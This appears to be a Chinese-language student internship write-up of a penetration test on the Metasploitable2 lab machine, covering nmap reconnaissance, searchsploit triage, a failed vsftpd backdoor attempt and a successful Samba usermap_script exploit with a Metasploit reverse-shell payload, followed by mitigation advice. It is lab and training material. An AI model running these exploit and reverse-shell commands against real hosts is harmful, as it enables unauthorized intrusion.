Penetration-Testing-on-Metasploitable2

实习项目 2 — Metasploitable2 渗透测试

• 摘要： 本项目演示了完整的渗透测试工作流程：侦察、枚举、漏洞利用、后渗透验证以及缓解建议。使用的目标机器是 Metasploitable2，攻击机为 Kali Linux。

• 工具： Kali Linux（攻击机） Nmap（侦察） Metasploit Framework（漏洞利用） SearchSploit / Exploit-DB（分类筛选）

执行的步骤：

1. 扫描： sudo nmap -sS -sV -p- -T4 --open -oA scans/target 192.168.x.x 识别出的服务（示例）：vsftpd 2.3.4（端口 21 banner），Samba smbd 3.x（端口 445）。
2. 枚举与分类筛选： searchsploit --nmap scans/target.xml searchsploit samba 3.0.20 将服务与潜在漏洞利用进行匹配（vsftpd 后门、Samba username-map）。
3. 漏洞利用

• 尝试利用 vsftpd 后门（CVE-2011-2523）——Nmap banner 存在但服务无响应；漏洞利用未创建会话。
• 成功利用 Samba（CVE-2007-2447）： msfconsole use exploit/multi/samba/usermap_script set RHOSTS 192.168.x.x set payload cmd/unix/reverse set LHOST <kali-ip> set LPORT 4444 exploit 获得交互式 shell 并验证了用户上下文。

4. 后渗透

• 验证了系统信息： id uname -a
• 收集了证据和截图。

5. 缓解建议

• 定期扫描和资产清点。
• 及时打补丁和升级版本（更新 Samba）。
• 限制对关键端口的访问（防火墙规则）。
• 禁用未使用的服务和匿名访问。
• 对共享和账户应用最小权限。
• 网络分段和日志记录/监控。
• 事件响应规划。

结果 通过 Samba 漏洞利用成功获得远程 shell，记录了攻击路径，并制定了缓解计划。完整日志和命令输出存储在 scans/ 文件夹中。